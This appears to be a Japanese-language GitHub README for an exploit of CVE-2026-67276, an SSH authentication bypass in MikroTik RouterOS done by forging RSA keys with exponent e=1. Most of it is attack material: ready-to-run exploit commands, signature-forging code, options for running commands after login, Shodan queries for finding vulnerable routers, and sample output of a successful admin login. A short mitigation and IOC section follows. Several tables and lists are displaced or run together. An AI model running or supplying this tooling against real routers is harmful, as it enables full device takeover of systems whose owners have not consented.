
CVE-2026-67276 MikroTik RouterOS SSH 認証バイパス Exploit
MikroTik RouterOS SSH公開鍵認証バイパス - 秘密鍵は不要
CVE-2026-67276(MikroTrick)の概念実証エクスプロイト。MikroTik RouterOSのSSH実装における重大な認証バイパス脆弱性であり、攻撃者が秘密鍵を所持せずに任意のユーザーとして認証できるようにします。
CVE-2026-67276は、CERT PLによって**「MikroTrick」**と名付けられた大規模な攻撃チェーンの一部であり、実際の環境で活発に悪用されていることが確認されています:
RouterOSのSSH認証には、公開鍵の検証方法に重大な欠陥があります:
{ssh-rsa, e=1, n=被害者のモジュラス} を提示することで、検証が自明になります標準RSA検証: sig^65537 mod n == 期待値 (秘密鍵が必要)
悪用された検証: sig^1 mod n == sig (秘密鍵は不要!)
指数部 e=1 の場合、署名検証は次のようになります:
sig^1 mod n == sig
つまり「署名」は単にEMSA-PKCS1-v1_5でエンコードされた認証データそのものであり、被害者の公開モジュラスを知っている誰でも構築可能です。
n(.pubファイル、以前の接続などから取得)| ブランチ | 脆弱な範囲 | 修正済みバージョン |
|---|---|---|
| 6.x | 6.0 - 6.49.20 | 6.49.21+ |
| 7.x stable |
# リポジトリをクローン
git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
cd exploit-mikrotik-2026
# 依存関係をインストール
pip install paramiko cryptography
# 基本エクスプロイト - 鍵を自動生成し、バージョンを検出
python3 full_exploit.py --host 192.168.88.1 --username admin
# 認証後にコマンドを実行
python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'
# カスタムポート
python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin
# 被害者の公開鍵ファイルがある場合
python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub
# またはモジュラスを直接指定
python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."
エクスプロイトはRouterOSのバージョンを自動検出し、脆弱性の状態を確認します:
# MikroTik以外または不明なバージョンでもエクスプロイトを強制実行
python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check
--host ターゲットRouterOSのIP/ホスト名(必須)
--port SSHポート(デフォルト: 22)
--username ターゲットRouterOSのユーザー名(必須)
--pubkey RSA公開鍵ファイル(指定しない場合は自動生成)
--modulus-hex RSAモジュラス(16進数)(--pubkeyの代替)
--algos 署名アルゴリズム(デフォルト: ssh-rsa,rsa-sha2-256)
--exec 認証後に実行するコマンド
--exp-enc 指数部エンコーディング: canonical(1バイト)または aligned(3バイト)
--timeout 接続タイムアウト(デフォルト: 15.0秒)
--skip-version-check RouterOSバージョン検証をスキップ
--shodan-dorks Shodan検索クエリを表示
--shodan-search Shodan APIでターゲットを検索
--shodan-key Shodan APIキー
--shodan-query カスタムShodanクエリ
--shodan-limit Shodan結果の上限(デフォルト: 100)
python3 full_exploit.py --shodan-dorks
# 基本検索
python3 full_exploit.py --shodan-search --shodan-key YOUR_API_KEY
# カスタムクエリ
python3 full_exploit.py --shodan-search --shodan-key YOUR_KEY --shodan-query 'MikroTik port:22 country:US'
string "ssh-rsa"
mpint e(公開指数) <- 攻撃者が e=1 を供給
mpint n(モジュラス) <- 被害者の実際のモジュラス
# 「署名」は単にEMSA-PKCS1-v1_5でエンコードされた認証データ
def forged_signature(data, sig_alg, n):
k = (n.bit_length() + 7) // 8
block = emsa_pkcs1_v15(data, sig_alg, k)
return block # e=1の場合、これが有効な署名そのもの
rsa-sha2-256/512アルゴリズムでもssh-rsaのまま[*] CVE-2026-67276 MikroTrick Exploit
[*] Target: 192.168.88.1:22
[*] Detecting RouterOS version...
[*] SSH Banner: SSH-2.0-ROSSSH-7.23.3
[*] RouterOS Version: 7.23.3
[+] VERSION VULNERABLE - CVE-2026-67276 applies
[*] Generating 2048-bit RSA keypair...
[+] Private key saved: /path/to/exploit_key
[+] Public key saved: /path/to/exploit_key.pub
[*] Modulus: 2048-bit | forged e=1
[*] Exponent encoding: canonical (01)
[*] Trying rsa-sha2-256 ...
[+] AUTHENTICATED as 'admin' via rsa-sha2-256
[+] CVE-2026-67276 CONFIRMED - target is vulnerable
--- command output ---
uptime: 14d23h45m12s
version: 7.23.3 (stable)
build-time: Sep/01/2026 12:00:00
# 現在のバージョンを確認
/system resource print
# 修正済みバージョンにアップグレード
/system package update download
/system reboot
最低安全バージョン:
/ip service disable ssh
# IPアドレスによる制限
/ip service set ssh address=192.168.88.0/24
# ファイアウォールルール
/ip firewall filter add chain=input dst-port=22 protocol=tcp \
src-address=!192.168.88.0/24 action=drop
# 不審なユーザーの確認
/user print
# 「ops」ユーザーの確認(既知の攻撃者指標)
/user print where name=ops
# デバイスのフラグ状態の確認
/system/device-mode/print
# ログの確認
/log print where topics~"ssh"
既知のIOC:
login failure for user -2 via sshops82.192.72.4, 103.102.31.18⚠️ このツールは、許可されたセキュリティテストおよび教育目的のみで提供されています。
MITライセンス - 詳細はLICENSEを参照してください。
セキュリティ研究PoC - CVE-2026-67276ラボ実装
このリポジトリが役立つと思ったらスターを付けてください!
| 詳細 | 情報 |
|---|
| CVE ID | CVE-2026-67276 |
| 深刻度 | 重大(CVSS 9.8) |
| CWE | CWE-347(暗号署名の不適切な検証) |
| 攻撃ベクトル | ネットワーク |
| 認証 | 不要 |
| 複雑性 | 低 |
| 影響 | デバイスの完全な乗っ取り |
| CVE | タイプ | 説明 |
|---|
| CVE-2026-67276 | 認証バイパス | 指数部の偽造によるSSH公開鍵認証バイパス |
| CVE-2026-86060 | 権限昇格 | ユーザー名による引数インジェクション |
| CVE-2026-67279 | 認証バイパス | userauth完了前のSSH接続 |
| CVE-2026-67277 | 情報漏洩 | bandwidth-testによるカーネルメモリリーク |
| CVE-2026-67278 | 署名バイパス | X.509不正形式署名の受け入れ |
| CVE-2026-67281 | ファイル読み取り | jsproxyによるWebFigルートファイル読み取り |
| 7.0 - 7.23.3 |
| 7.23.4+ |
| 7.x testing | 7.24.0 - 7.24.1 | 7.24.2+ |
| ターゲット | クエリ |
|---|
| 全MikroTik | MikroTik |
| MikroTik SSH | MikroTik port:22 |
| Winbox公開 | port:8291 |
| WebFigパネル | http.title:RouterOS |
| RouterOS 6.49.x | MikroTik "6.49" |
| RouterOS 7.x | MikroTik "RouterOS v7" |
| 国別 | MikroTik country:US |
| 脆弱性のヒント | MikroTik ("6.49" OR "7.23" OR "7.24.0") |